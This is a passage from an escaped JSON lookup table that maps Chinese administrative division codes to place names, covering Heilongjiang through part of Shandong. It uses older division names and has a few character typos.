黑龙江绥滨县\",\"2305\":\"黑龙江双鸭山市\",\"230501\":\"黑龙江双鸭山市市辖区\",\"230502\":\"黑龙江双鸭山市尖山区\",\"230503\":\"黑龙江双鸭山市岭东区\",\"230505\":\"黑龙江双鸭山市四方台区\",\"230506\":\"黑龙江双鸭山市宝山区\",\"230521\":\"黑龙江集贤县\",\"230522\":\"黑龙江友谊县\",\"230523\":\"黑龙江宝清县\",\"230524\":\"黑龙江饶河县\",\"2306\":\"黑龙江大庆市\",\"230601\":\"黑龙江大庆市市辖区\",\"230602\":\"黑龙江大庆市萨尔图区\",\"230603\":\"黑龙江大庆市龙凤区\",\"230604\":\"黑龙江大庆市让胡路区\",\"230605\":\"黑龙江大庆市红岗区\",\"230606\":\"黑龙江大庆市大同区\",\"230621\":\"黑龙江肇州县\",\"230622\":\"黑龙江肇源县\",\"230623\":\"黑龙江林甸县\",\"230624\":\"黑龙江杜尔伯特蒙古族自治县\",\"2307\":\"黑龙江伊春市\",\"230701\":\"黑龙江伊春市市辖区\",\"230702\":\"黑龙江伊春市伊春区\",\"230703\":\"黑龙江伊春市南岔区\",\"230704\":\"黑龙江伊春市友好区\",\"230705\":\"黑龙江伊春市西林区\",\"230706\":\"黑龙江伊春市翠峦区\",\"230707\":\"黑龙江伊春市新青区\",\"230708\":\"黑龙江伊春市美溪区\",\"230709\":\"黑龙江伊春市金山屯区\",\"230710\":\"黑龙江伊春市五营区\",\"230711\":\"黑龙江伊春市乌马河区\",\"230712\":\"黑龙江伊春市汤旺河区\",\"230713\":\"黑龙江伊春市带岭区\",\"230714\":\"黑龙江伊春市乌伊岭区\",\"230715\":\"黑龙江伊春市红星区\",\"230716\":\"黑龙江伊春市上甘岭区\",\"230722\":\"黑龙江嘉荫县\",\"230781\":\"黑龙江铁力市\",\"2308\":\"黑龙江佳木斯市\",\"230801\":\"黑龙江佳木斯市市辖区\",\"230802\":\"黑龙江佳木斯市永红区\",\"230803\":\"黑龙江佳木斯市向阳区\",\"230804\":\"黑龙江佳木斯市前进区\",\"230805\":\"黑龙江佳木斯市东风区\",\"230811\":\"黑龙江佳木斯市郊区\",\"230822\":\"黑龙江桦南县\",\"230826\":\"黑龙江桦川县\",\"230828\":\"黑龙江汤原县\",\"230833\":\"黑龙江扶远县\",\"230881\":\"黑龙江同江市\",\"230882\":\"黑龙江富锦市\",\"2309\":\"黑龙江七台河市\",\"230901\":\"黑龙江七台河市市辖区\",\"230902\":\"黑龙江七台河市新兴区\",\"230903\":\"黑龙江七台河市桃山区\",\"230904\":\"黑龙江七台河市茄子河区\",\"230921\":\"黑龙江勃利县\",\"2310\":\"黑龙江牡丹江市\",\"231001\":\"黑龙江牡丹江市市辖区\",\"231002\":\"黑龙江牡丹江市东安区\",\"231003\":\"黑龙江牡丹江市阳明区\",\"231004\":\"黑龙江牡丹江市爱民区\",\"231005\":\"黑龙江牡丹江市西安区\",\"231011\":\"黑龙江牡丹江市郊区\",\"231023\":\"黑龙江穆棱县\",\"231024\":\"黑龙江东宁县\",\"231025\":\"黑龙江林口县\",\"231081\":\"黑龙江绥芬河市\",\"231082\":\"黑龙江密山市\",\"231083\":\"黑龙江海林市\",\"231084\":\"黑龙江宁安市\",\"2311\":\"黑龙江黑河市\",\"231101\":\"黑龙江黑河市市辖区\",\"231102\":\"黑龙江黑河市爱辉区\",\"231121\":\"黑龙江嫩江县\",\"231122\":\"黑龙江德都县\",\"231123\":\"黑龙江逊克县\",\"231124\":\"黑龙江孙吴县\",\"231181\":\"黑龙江北安市\",\"231182\":\"黑龙江五大连池市\",\"2321\":\"黑龙江松花江地区\",\"232101\":\"黑龙江双城市\",\"232102\":\"黑龙江尚志市\",\"232103\":\"黑龙江五常市\",\"232126\":\"黑龙江巴彦县\",\"232127\":\"黑龙江木兰县\",\"232128\":\"黑龙江通河县\",\"232131\":\"黑龙江延寿县\",\"2323\":\"黑龙江绥化地区\",\"232301\":\"黑龙江绥化市\",\"232302\":\"黑龙江安达市\",\"232303\":\"黑龙江肇东市\",\"232304\":\"黑龙江海伦市\",\"232324\":\"黑龙江望奎县\",\"232325\":\"黑龙江兰西县\",\"232326\":\"黑龙江青冈县\",\"232330\":\"黑龙江庆安县\",\"232331\":\"黑龙江明水县\",\"232332\":\"黑龙江绥棱县\",\"2327\":\"黑龙江大兴安岭地区\",\"232721\":\"黑龙江呼玛县\",\"232722\":\"黑龙江塔河县\",\"232723\":\"黑龙江漠河县\",\"31\":\"上海市\",\"3101\":\"上海市市辖区\",\"310101\":\"上海市黄浦区\",\"310102\":\"上海市南市区\",\"310103\":\"上海市卢湾区\",\"310104\":\"上海市徐汇区\",\"310105\":\"上海市长宁区\",\"310106\":\"上海市静安区\",\"310107\":\"上海市普陀区\",\"310108\":\"上海市闸北区\",\"310109\":\"上海市虹口区\",\"310110\":\"上海市扬浦区\",\"310112\":\"上海市闵行区\",\"310113\":\"上海市宝山区\",\"310114\":\"上海市嘉定区\",\"310115\":\"上海市浦东新区\",\"3102\":\"上海市市辖县\",\"310225\":\"上海市南汇县\",\"310226\":\"上海市奉贤县\",\"310227\":\"上海市松江县\",\"310228\":\"上海市金山县\",\"310229\":\"上海市青浦县\",\"310230\":\"上海市崇明县\",\"32\":\"江苏省\",\"3201\":\"江苏省南京市\",\"320101\":\"江苏省南京市市辖区\",\"320102\":\"江苏省南京市玄武区\",\"320103\":\"江苏省南京市白下区\",\"320104\":\"江苏省南京市秦淮区\",\"320105\":\"江苏省南京市建邺区\",\"320106\":\"江苏省南京市鼓楼区\",\"320107\":\"江苏省南京市下关区\",\"320111\":\"江苏省南京市浦口区\",\"320112\":\"江苏省南京市大厂区\",\"320113\":\"江苏省南京市栖霞区\",\"320114\":\"江苏省南京市雨花台区\",\"320121\":\"江苏省江宁县\",\"320122\":\"江苏省江浦县\",\"320123\":\"江苏省六合县\",\"320124\":\"江苏省溧水县\",\"320125\":\"江苏省高淳县\",\"3202\":\"江苏省无锡市\",\"320201\":\"江苏省无锡市市辖区\",\"320202\":\"江苏省无锡市崇安区\",\"320203\":\"江苏省无锡市南长区\",\"320204\":\"江苏省无锡市北塘区\",\"320211\":\"江苏省无锡市郊区\",\"320212\":\"江苏省无锡市马山区\",\"320222\":\"江苏省无锡县\",\"320281\":\"江苏省江阴市\",\"320282\":\"江苏省宜兴市\",\"3203\":\"江苏省徐州市\",\"320301\":\"江苏省徐州市市辖区\",\"320302\":\"江苏省徐州市鼓楼区\",\"320303\":\"江苏省徐州市云龙区\",\"320304\":\"江苏省徐州市矿区\",\"320305\":\"江苏省徐州市贾汪区\",\"320311\":\"江苏省徐州市泉山区\",\"320321\":\"江苏省丰县\",\"320322\":\"江苏省沛县\",\"320323\":\"江苏省铜山县\",\"320324\":\"江苏省睢宁县\",\"320381\":\"江苏省新沂市\",\"320382\":\"江苏省邳州市\",\"3204\":\"江苏省常州市\",\"320401\":\"江苏省常州市市辖区\",\"320402\":\"江苏省常州市天宁区\",\"320404\":\"江苏省常州市钟楼区\",\"320405\":\"江苏省常州市戚墅堰区\",\"320411\":\"江苏省常州市郊区\",\"320421\":\"江苏省武进县\",\"320481\":\"江苏省溧阳市\",\"320482\":\"江苏省金坛市\",\"3205\":\"江苏省苏州市\",\"320501\":\"江苏省苏州市市辖区\",\"320502\":\"江苏省苏州市沧浪区\",\"320503\":\"江苏省苏州市平江区\",\"320504\":\"江苏省苏州市金阊区\",\"320511\":\"江苏省苏州市郊区\",\"320524\":\"江苏省吴县\",\"320581\":\"江苏省常熟市\",\"320582\":\"江苏省张家港市\",\"320583\":\"江苏省昆山市\",\"320584\":\"江苏省吴江市\",\"320585\":\"江苏省太仓市\",\"3206\":\"江苏省南通市\",\"320601\":\"江苏省南通市市辖区\",\"320602\":\"江苏省南通市崇川区\",\"320611\":\"江苏省南通市港闸区\",\"320621\":\"江苏省海安县\",\"320623\":\"江苏省如东县\",\"320625\":\"江苏省海门县\",\"320681\":\"江苏省启东市\",\"320682\":\"江苏省如皋市\",\"320683\":\"江苏省通州市\",\"3207\":\"江苏省连云港市\",\"320701\":\"江苏省连云港市市辖区\",\"320703\":\"江苏省连云港市连云区\",\"320704\":\"江苏省连云港市云台区\",\"320705\":\"江苏省连云港市新浦区\",\"320706\":\"江苏省连云港市海州区\",\"320721\":\"江苏省赣榆县\",\"320722\":\"江苏省东海县\",\"320723\":\"江苏省灌云县\",\"3208\":\"江苏省淮阴市\",\"320801\":\"江苏省淮阴市市辖区\",\"320802\":\"江苏省淮阴市清河区\",\"320811\":\"江苏省淮阴市清浦区\",\"320821\":\"江苏省淮阴县\",\"320822\":\"江苏省灌南县\",\"320823\":\"江苏省沭阳县\",\"320825\":\"江苏省泗阳县\",\"320826\":\"江苏省涟水县\",\"320827\":\"江苏省泗洪县\",\"320829\":\"江苏省洪泽县\",\"320830\":\"江苏省盱眙县\",\"320831\":\"江苏省金湖县\",\"320881\":\"江苏省宿迁市\",\"320882\":\"江苏省淮安市\",\"3209\":\"江苏省盐城市\",\"320901\":\"江苏省盐城市市辖区\",\"320902\":\"江苏省盐城市城区\",\"320911\":\"江苏省盐城市郊区\",\"320921\":\"江苏省响水县\",\"320922\":\"江苏省滨海县\",\"320923\":\"江苏省阜宁县\",\"320924\":\"江苏省射阳县\",\"320925\":\"江苏省建湖县\",\"320926\":\"江苏省大丰县\",\"320981\":\"江苏省东台市\",\"3210\":\"江苏省扬州市\",\"321001\":\"江苏省扬州市市辖区\",\"321002\":\"江苏省扬州市广陵区\",\"321011\":\"江苏省扬州市郊区\",\"321023\":\"江苏省宝应县\",\"321026\":\"江苏省江都县\",\"321027\":\"江苏省邗江县\",\"321028\":\"江苏省泰县\",\"321081\":\"江苏省仪征市\",\"321082\":\"江苏省泰州市\",\"321083\":\"江苏省兴化市\",\"321084\":\"江苏省高邮市\",\"321085\":\"江苏省泰兴市\",\"321086\":\"江苏省靖江市\",\"3211\":\"江苏省镇江市\",\"321101\":\"江苏省镇江市市辖区\",\"321102\":\"江苏省镇江市京口区\",\"321111\":\"江苏省镇江市润州区\",\"321121\":\"江苏省丹徒县\",\"321123\":\"江苏省句容县\",\"321124\":\"江苏省扬中县\",\"321181\":\"江苏省丹阳市\",\"33\":\"浙江省\",\"3301\":\"浙江省杭州市\",\"330101\":\"浙江省杭州市市辖区\",\"330102\":\"浙江省杭州市上城区\",\"330103\":\"浙江省杭州市下城区\",\"330104\":\"浙江省杭州市江干区\",\"330105\":\"浙江省杭州市拱墅区\",\"330106\":\"浙江省杭州市西湖区\",\"330122\":\"浙江省桐庐县\",\"330123\":\"浙江省富阳县\",\"330124\":\"浙江省临安县\",\"330125\":\"浙江省余杭县\",\"330126\":\"浙江省建德县\",\"330127\":\"浙江省淳安县\",\"330181\":\"浙江省萧山市\",\"3302\":\"浙江省宁波市\",\"330201\":\"浙江省宁波市市辖区\",\"330203\":\"浙江省宁波市海曙区\",\"330204\":\"浙江省宁波市江东区\",\"330205\":\"浙江省宁波市江北区\",\"330206\":\"浙江省宁波市北仓区\",\"330211\":\"浙江省宁波市镇海区\",\"330225\":\"浙江省象山县\",\"330226\":\"浙江省宁海县\",\"330227\":\"浙江省鄞县\",\"330281\":\"浙江省余姚市\",\"330282\":\"浙江省慈溪市\",\"330283\":\"浙江省奉化市\",\"3303\":\"浙江省温州市\",\"330301\":\"浙江省温州市市辖区\",\"330302\":\"浙江省温州市鹿城区\",\"330303\":\"浙江省温州市龙湾区\",\"330304\":\"浙江省温州市瓯海区\",\"330322\":\"浙江省洞头县\",\"330324\":\"浙江省永嘉县\",\"330326\":\"浙江省平阳县\",\"330327\":\"浙江省苍南县\",\"330328\":\"浙江省文成县\",\"330329\":\"浙江省泰顺县\",\"330381\":\"浙江省瑞安市\",\"330382\":\"浙江省乐清市\",\"3304\":\"浙江省嘉兴市\",\"330401\":\"浙江省嘉兴市市辖区\",\"330402\":\"浙江省嘉兴市城区\",\"330411\":\"浙江省嘉兴市郊区\",\"330421\":\"浙江省嘉善县\",\"330424\":\"浙江省海盐县\",\"330481\":\"浙江省海宁市\",\"330482\":\"浙江省平湖市\",\"330483\":\"浙江省桐乡市\",\"3305\":\"浙江省湖洲市\",\"330501\":\"浙江省湖洲市市辖区\",\"330521\":\"浙江省德清县\",\"330522\":\"浙江省长兴县\",\"330523\":\"浙江省安吉县\",\"3306\":\"浙江省绍兴市\",\"330601\":\"浙江省绍兴市市辖区\",\"330602\":\"浙江省绍兴市越城区\",\"330621\":\"浙江省绍兴县\",\"330623\":\"浙江省嵊县\",\"330624\":\"浙江省新昌县\",\"330681\":\"浙江省诸暨市\",\"330682\":\"浙江省上虞市\",\"3307\":\"浙江省金华市\",\"330701\":\"浙江省金华市市辖区\",\"330702\":\"浙江省金华市婺城区\",\"330721\":\"浙江省金华县\",\"330723\":\"浙江省武义县\",\"330726\":\"浙江省浦江县\",\"330727\":\"浙江省磐安县\",\"330728\":\"浙江省永康市\",\"330781\":\"浙江省兰溪市\",\"330782\":\"浙江省义乌市\",\"330783\":\"浙江省东阳市\",\"3308\":\"浙江省衢州市\",\"330801\":\"浙江省衢州市市辖区\",\"330802\":\"浙江省衢州市柯城区\",\"330821\":\"浙江省衢县\",\"330822\":\"浙江省常山县\",\"330824\":\"浙江省开化县\",\"330825\":\"浙江省龙游县\",\"330881\":\"浙江省江山市\",\"3309\":\"浙江省舟山市\",\"330901\":\"浙江省舟山市市辖区\",\"330902\":\"浙江省舟山市定海区\",\"330903\":\"浙江省舟山市普陀区\",\"330921\":\"浙江省岱山县\",\"330922\":\"浙江省嵊泗县\",\"3325\":\"浙江省丽水地区\",\"332501\":\"浙江省丽水市\",\"332502\":\"浙江省龙泉市\",\"332522\":\"浙江省青田县\",\"332523\":\"浙江省云和县\",\"332525\":\"浙江省庆元县\",\"332526\":\"浙江省缙云县\",\"332527\":\"浙江省遂昌县\",\"332528\":\"浙江省松阳县\",\"332529\":\"浙江省景宁畲族自治县\",\"3326\":\"浙江省台州地区\",\"332601\":\"浙江省椒江市\",\"332602\":\"浙江省临海市\",\"332603\":\"浙江省黄岩市\",\"332623\":\"浙江省温岭县\",\"332624\":\"浙江省仙居县\",\"332625\":\"浙江省天台县\",\"332626\":\"浙江省三门县\",\"332627\":\"浙江省玉环县\",\"34\":\"安徽省\",\"3401\":\"安徽省合肥市\",\"340101\":\"安徽省合肥市市辖区\",\"340102\":\"安徽省合肥市东市区\",\"340103\":\"安徽省合肥市中市区\",\"340104\":\"安徽省合肥市西市区\",\"340111\":\"安徽省合肥市郊区\",\"340121\":\"安徽省长丰县\",\"340122\":\"安徽省肥东县\",\"340123\":\"安徽省肥西县\",\"3402\":\"安徽省芜湖市\",\"340201\":\"安徽省芜湖市市辖区\",\"340202\":\"安徽省芜湖市镜湖区\",\"340203\":\"安徽省芜湖市马塘区\",\"340204\":\"安徽省芜湖市新芜区\",\"340207\":\"安徽省芜湖市鸠江区\",\"340221\":\"安徽省芜湖县\",\"340222\":\"安徽省繁昌县\",\"340223\":\"安徽省南陵县\",\"3403\":\"安徽省蚌埠市\",\"340301\":\"安徽省蚌埠市市辖区\",\"340302\":\"安徽省蚌埠市东市区\",\"340303\":\"安徽省蚌埠市中市区\",\"340304\":\"安徽省蚌埠市西市区\",\"340311\":\"安徽省蚌埠市郊区\",\"340321\":\"安徽省怀远县\",\"340322\":\"安徽省五河县\",\"340323\":\"安徽省固镇县\",\"3404\":\"安徽省淮南市\",\"340401\":\"安徽省淮南市市辖区\",\"340402\":\"安徽省淮南市大通区\",\"340403\":\"安徽省淮南市田家庵区\",\"340404\":\"安徽省淮南市谢家集区\",\"340405\":\"安徽省淮南市八公山区\",\"340406\":\"安徽省淮南市潘集区\",\"340421\":\"安徽省凤台县\",\"3405\":\"安徽省马鞍山市\",\"340501\":\"安徽省马鞍山市市辖区\",\"340502\":\"安徽省马鞍山市金家庄区\",\"340503\":\"安徽省马鞍山市花山区\",\"340504\":\"安徽省马鞍山市雨山区\",\"340505\":\"安徽省马鞍山市向山区\",\"340521\":\"安徽省当涂县\",\"3406\":\"安徽省淮北市\",\"340601\":\"安徽省淮北市市辖区\",\"340602\":\"安徽省淮北市杜集区\",\"340603\":\"安徽省淮北市相山区\",\"340604\":\"安徽省淮北市烈山区\",\"340621\":\"安徽省濉溪县\",\"3407\":\"安徽省铜陵市\",\"340701\":\"安徽省铜陵市市辖区\",\"340702\":\"安徽省铜陵市铜官山区\",\"340703\":\"安徽省铜陵市狮子山区\",\"340711\":\"安徽省铜陵市郊区\",\"340721\":\"安徽省铜陵县\",\"3408\":\"安徽省安庆市\",\"340801\":\"安徽省安庆市市辖区\",\"340802\":\"安徽省安庆市迎江区\",\"340803\":\"安徽省安庆市大观区\",\"340811\":\"安徽省安庆市郊区\",\"340821\":\"安徽省桐城县\",\"340822\":\"安徽省怀宁县\",\"340823\":\"安徽省枞阳县\",\"340824\":\"安徽省潜山县\",\"340825\":\"安徽省太湖县\",\"340826\":\"安徽省宿松县\",\"340827\":\"安徽省望江县\",\"340828\":\"安徽省岳西县\",\"3410\":\"安徽省黄山市\",\"341001\":\"安徽省黄山市市辖区\",\"341002\":\"安徽省黄山市屯溪区\",\"341003\":\"安徽省黄山市黄山区\",\"341004\":\"安徽省黄山市徽州区\",\"341021\":\"安徽省歙县\",\"341022\":\"安徽省休宁县\",\"341023\":\"安徽省黟县\",\"341024\":\"安徽省祁门县\",\"3411\":\"安徽省滁州市\",\"341101\":\"安徽省滁州市市辖区\",\"341102\":\"安徽省滁州市琅琊区\",\"341103\":\"安徽省滁州市南谯区\",\"341122\":\"安徽省来安县\",\"341124\":\"安徽省全椒县\",\"341125\":\"安徽省定远县\",\"341126\":\"安徽省凤阳县\",\"341127\":\"安徽省嘉山县\",\"341181\":\"安徽省天长县\",\"3421\":\"安徽省阜阳地区\",\"342101\":\"安徽省阜阳市\",\"342102\":\"安徽省毫州市\",\"342103\":\"安徽省界首市\",\"342122\":\"安徽省临泉县\",\"342123\":\"安徽省太和县\",\"342124\":\"安徽省涡阳县\",\"342125\":\"安徽省蒙城县\",\"342127\":\"安徽省阜南县\",\"342128\":\"安徽省颖上县\",\"342130\":\"安徽省利辛县\",\"3422\":\"安徽省宿县地区\",\"342201\":\"安徽省宿州市\",\"342221\":\"安徽省砀山县\",\"342222\":\"安徽省萧县\",\"342224\":\"安徽省灵壁县\",\"342225\":\"安徽省泗县\",\"3424\":\"安徽省六安地区\",\"342401\":\"安徽省六安市\",\"342422\":\"安徽省寿县\",\"342423\":\"安徽省霍邱县\",\"342425\":\"安徽省舒城县\",\"342426\":\"安徽省金寨县\",\"342427\":\"安徽省霍山县\",\"3425\":\"安徽省宣城地区\",\"342501\":\"安徽省宣州市\",\"342522\":\"安徽省郎溪县\",\"342523\":\"安徽省广德县\",\"342524\":\"安徽省宁国县\",\"342529\":\"安徽省泾县\",\"342530\":\"安徽省旌德县\",\"342531\":\"安徽省绩溪县\",\"3426\":\"安徽省巢湖地区\",\"342601\":\"安徽省巢湖市\",\"342622\":\"安徽省庐江县\",\"342623\":\"安徽省无为县\",\"342625\":\"安徽省含山县\",\"342626\":\"安徽省和县\",\"3429\":\"安徽省池州地区\",\"342901\":\"安徽省贵池县\",\"342921\":\"安徽省东至县\",\"342922\":\"安徽省石台县\",\"342923\":\"安徽省青阳县\",\"35\":\"福建省\",\"3501\":\"福建省福州市\",\"350101\":\"福建省福州市市辖区\",\"350102\":\"福建省福州市鼓楼区\",\"350103\":\"福建省福州市台江区\",\"350104\":\"福建省福州市仓山区\",\"350105\":\"福建省福州市马尾区\",\"350111\":\"福建省福州市郊区\",\"350121\":\"福建省闽侯县\",\"350122\":\"福建省连江县\",\"350123\":\"福建省罗源县\",\"350124\":\"福建省闽清县\",\"350125\":\"福建省永泰县\",\"350126\":\"福建省长乐县\",\"350128\":\"福建省平潭县\",\"350181\":\"福建省福清市\",\"3502\":\"福建省厦门市\",\"350201\":\"福建省厦门市市辖区\",\"350202\":\"福建省厦门市鼓浪屿区\",\"350203\":\"福建省厦门市思明区\",\"350204\":\"福建省厦门市开元区\",\"350205\":\"福建省厦门市杏林区\",\"350206\":\"福建省厦门市湖里区\",\"350211\":\"福建省厦门市集美区\",\"350221\":\"福建省同安县\",\"3503\":\"福建省莆田市\",\"350301\":\"福建省莆田市市辖区\",\"350302\":\"福建省莆田市城厢区\",\"350303\":\"福建省莆田市涵江区\",\"350321\":\"福建省莆田县\",\"350322\":\"福建省仙游县\",\"3504\":\"福建省三明市\",\"350401\":\"福建省三明市市辖区\",\"350402\":\"福建省三明市梅列区\",\"350403\":\"福建省三明市三元区\",\"350421\":\"福建省明溪县\",\"350423\":\"福建省清流县\",\"350424\":\"福建省宁化县\",\"350425\":\"福建省大田县\",\"350426\":\"福建省尤溪县\",\"350427\":\"福建省沙县\",\"350428\":\"福建省将乐县\",\"350429\":\"福建省泰宁县\",\"350430\":\"福建省建宁县\",\"350481\":\"福建省永安市\",\"3505\":\"福建省泉州市\",\"350501\":\"福建省泉州市市辖区\",\"350502\":\"福建省泉州市鲤城区\",\"350521\":\"福建省惠安县\",\"350524\":\"福建省安溪县\",\"350525\":\"福建省永春县\",\"350526\":\"福建省德化县\",\"350527\":\"福建省金门县\",\"350581\":\"福建省石狮市\",\"350582\":\"福建省晋江市\",\"350583\":\"福建省南安市\",\"3506\":\"福建省漳州市\",\"350601\":\"福建省漳州市市辖区\",\"350602\":\"福建省漳州市芗城区\",\"350622\":\"福建省云霄县\",\"350623\":\"福建省漳浦县\",\"350624\":\"福建省诏安县\",\"350625\":\"福建省长泰县\",\"350626\":\"福建省东山县\",\"350627\":\"福建省南靖县\",\"350628\":\"福建省平和县\",\"350629\":\"福建省华安县\",\"350681\":\"福建省龙海市\",\"3521\":\"福建省南平地区\",\"352101\":\"福建省南平市\",\"352102\":\"福建省邵武市\",\"352103\":\"福建省武夷山市\",\"352104\":\"福建省建瓯市\",\"352121\":\"福建省顺昌县\",\"352122\":\"福建省建阳县\",\"352124\":\"福建省浦城县\",\"352127\":\"福建省光泽县\",\"352128\":\"福建省松溪县\",\"352129\":\"福建省政和县\",\"3522\":\"福建省宁德地区\",\"352201\":\"福建省宁德市\",\"352202\":\"福建省福安市\",\"352224\":\"福建省福鼎县\",\"352225\":\"福建省霞浦县\",\"352227\":\"福建省古田县\",\"352228\":\"福建省屏南县\",\"352229\":\"福建省寿宁县\",\"352230\":\"福建省周宁县\",\"352231\":\"福建省柘荣县\",\"3526\":\"福建省龙岩地区\",\"352601\":\"福建省龙岩市\",\"352602\":\"福建省漳平市\",\"352622\":\"福建省长汀县\",\"352623\":\"福建省永定县\",\"352624\":\"福建省上杭县\",\"352625\":\"福建省武平县\",\"352627\":\"福建省连城县\",\"36\":\"江西省\",\"3601\":\"江西省南昌市\",\"360101\":\"江西省南昌市市辖区\",\"360102\":\"江西省南昌市东湖区\",\"360103\":\"江西省南昌市西湖区\",\"360104\":\"江西省南昌市青云谱区\",\"360105\":\"江西省南昌市湾里区\",\"360111\":\"江西省南昌市郊区\",\"360121\":\"江西省南昌县\",\"360122\":\"江西省新建县\",\"360123\":\"江西省安义县\",\"360124\":\"江西省进贤县\",\"3602\":\"江西省景德镇市\",\"360201\":\"江西省景德镇市市辖区\",\"360202\":\"江西省景德镇市昌江区\",\"360203\":\"江西省景德镇市珠山区\",\"360222\":\"江西省浮梁县\",\"360281\":\"江西省乐平市\",\"3603\":\"江西省萍乡市\",\"360301\":\"江西省萍乡市市辖区\",\"360302\":\"江西省萍乡市安源区\",\"360311\":\"江西省萍乡市上栗区\",\"360312\":\"江西省萍乡市芦溪区\",\"360313\":\"江西省萍乡市湘东区\",\"360321\":\"江西省莲花县\",\"3604\":\"江西省九江市\",\"360401\":\"江西省九江市市辖区\",\"360402\":\"江西省九江市庐山区\",\"360403\":\"江西省浔阳县\",\"360421\":\"江西省九江县\",\"360423\":\"江西省武宁县\",\"360424\":\"江西省修水县\",\"360425\":\"江西省永修县\",\"360426\":\"江西省德安县\",\"360427\":\"江西省星子县\",\"360428\":\"江西省都昌县\",\"360429\":\"江西省湖口县\",\"360430\":\"江西省彭泽县\",\"360481\":\"江西省瑞昌市\",\"3605\":\"江西省新余市\",\"360501\":\"江西省新余市市辖区\",\"360502\":\"江西省新余市渝水区\",\"360521\":\"江西省分宜县\",\"3606\":\"江西省鹰潭市\",\"360601\":\"江西省鹰潭市市辖区\",\"360602\":\"江西省鹰潭市月湖区\",\"360621\":\"江西省贵溪县\",\"360622\":\"江西省余江县\",\"3621\":\"江西省赣州地区\",\"362101\":\"江西省赣州市\",\"362121\":\"江西省赣县\",\"362122\":\"江西省南康县\",\"362123\":\"江西省信丰县\",\"362124\":\"江西省大余县\",\"362125\":\"江西省上犹县\",\"362126\":\"江西省崇义县\",\"362127\":\"江西省安远县\",\"362128\":\"江西省龙南县\",\"362129\":\"江西省定南县\",\"362130\":\"江西省全南县\",\"362131\":\"江西省宁都县\",\"362132\":\"江西省于都县\",\"362133\":\"江西省兴国县\",\"362134\":\"江西省瑞金县\",\"362135\":\"江西省会昌县\",\"362136\":\"江西省寻乌县\",\"362137\":\"江西省石城县\",\"3622\":\"江西省宜春地区\",\"362201\":\"江西省宜春市\",\"362202\":\"江西省丰城市\",\"362203\":\"江西省樟树市\",\"362204\":\"江西省高安市\",\"362226\":\"江西省奉新县\",\"362227\":\"江西省万载县\",\"362228\":\"江西省上高县\",\"362229\":\"江西省宜丰县\",\"362232\":\"江西省靖安县\",\"362233\":\"江西省铜鼓县\",\"3623\":\"江西省上饶地区\",\"362301\":\"江西省上饶市\",\"362302\":\"江西省德兴市\",\"362321\":\"江西省上饶县\",\"362322\":\"江西省广丰县\",\"362323\":\"江西省玉山县\",\"362324\":\"江西省铅山县\",\"362325\":\"江西省横峰县\",\"362326\":\"江西省弋阳县\",\"362329\":\"江西省余干县\",\"362330\":\"江西省波阳县\",\"362331\":\"江西省万年县\",\"362334\":\"江西省婺源县\",\"3624\":\"江西省吉安地区\",\"362401\":\"江西省吉安市\",\"362402\":\"江西省井岗山市\",\"362421\":\"江西省吉安县\",\"362422\":\"江西省吉水县\",\"362423\":\"江西省峡江县\",\"362424\":\"江西省新干县\",\"362425\":\"江西省永丰县\",\"362426\":\"江西省泰和县\",\"362427\":\"江西省遂川县\",\"362428\":\"江西省万安县\",\"362429\":\"江西省安福县\",\"362430\":\"江西省永新县\",\"362432\":\"江西省宁冈县\",\"3625\":\"江西省抚州地区\",\"362502\":\"江西省临川市\",\"362522\":\"江西省南城县\",\"362523\":\"江西省黎川县\",\"362524\":\"江西省南丰县\",\"362525\":\"江西省崇仁县\",\"362526\":\"江西省乐安县\",\"362527\":\"江西省宜黄县\",\"362528\":\"江西省金溪县\",\"362529\":\"江西省资溪县\",\"362531\":\"江西省东乡县\",\"362532\":\"江西省广昌县\",\"37\":\"山东省\",\"3701\":\"山东省济南市\",\"370101\":\"山东省济南市市辖区\",\"370102\":\"山东省济南市历下区\",\"370103\":\"山东省济南市市中区\",\"370104\":\"山东省济南市槐荫区\",\"370105\":\"山东省济南市天桥区\",\"370112\":\"山东省济南市历城区\",\"370123\":\"山东省长清县\",\"370124\":\"山东省平阴县\",\"370125\":\"山东省商河县\",\"370126\":\"山东省济阳县\",\"370181\":\"山东省章丘市\",\"3702\":\"山东省青岛市\",\"370201\":\"山东省青岛市市辖区\",\"370202\":\"山东省青岛市市南区\",\"370203\":\"山东省青岛市市北区\",\"370204\":\"山东省青岛市台东区\",\"370205\":\"山东省青岛市四方区\",\"370206\":\"山东省青岛市沧口区\",\"370211\":\"山东省青岛市黄岛区\",\"370212\":\"山东省青岛市崂山区\",\"370281\":\"山东省胶州市\",\"370282\":\"山东省即墨市\",\"370283\":\"山东省平度市\",\"370284\":\"山东省胶南市\",\"370285\":\"山东省菜西市\",\"3703\":\"山东省淄博市\",\"370301\":\"山东省淄博市市辖区\",\"370302\":\"山东省淄博市淄川区\",\"370303\":\"山东省淄博市张店区\",\"370304\":\"山东省淄博市博山区\",\"370305\":\"山东省淄博市临淄区\",\"370306\":\"山东省淄博市周村区\",\"370321\":\"山东省桓台县\",\"370322\":\"山东省高青县\",\"370323\":\"山东省沂源县\",\"3704\":\"山东省枣庄市\",\"370401\":\"山东省枣庄市市辖区\",\"370402\":\"山东省枣庄市市中区\",\"370403\":\"山东省枣庄市薛城区\",\"370404\":\"山东省枣庄市峄城区\",\"370405\":\"山东省枣庄市台儿庄区\",\"370406\":\"山东省枣庄市山亭区\",\"370481\":\"山东省滕州市\",\"3705\":\"山东省东营市\",\"370501\":\"山东省东营市市辖区\",\"370502\":\"山东省东营市东营区\",\"370503\":\"山东省东营市河口区\",\"370521\":\"山东省垦利县\",\"370522\":\"山东省利津县\",\"370523\":\"山东省广饶县\",\"3706\":\"山东省烟台市\",\"370601\":\"山东省烟台市市辖区\",\"370602\":\"山东省烟台市芝罘区\",\"370611\":\"山东省烟台市福山区\",\"370628\":\"山东省栖霞县\",\"370629\":\"山东省海阳县\",\"370631\":\"山东省牟平县\",\"370634\":\"山东省长岛县\",\"370681\":\"山东省龙口市\",\"370682\":\"山东省莱阳市\",\"370683\":\"山东省莱州市\",\"370684\":\"山东省蓬莱市\",\"370685\":\"山东省招远市\",\"3707\":\"山东省潍坊市\",\"370701\":\"山东省潍坊市市辖区\",\"370702\":\"山东省潍坊市潍城区\",\"370703\":\"山东省潍坊市寒亭区\",\"370704\":\"山东省潍坊市坊子区\",\"370722\":\"山东省安丘县\",\"370724\":\"山东省临朐县\",\"370725\":\"山东省昌乐县\",\"370726\":\"山东省昌邑县\",\"370727\":\"山东省高密县\",\"370781\":\"山东省青州市\",\"370782\":\"山东省诸城市\",\"370783\":\"山东省寿光市\",\"3708\":\"山东省济宁市\",\"370801\":\"山东省济宁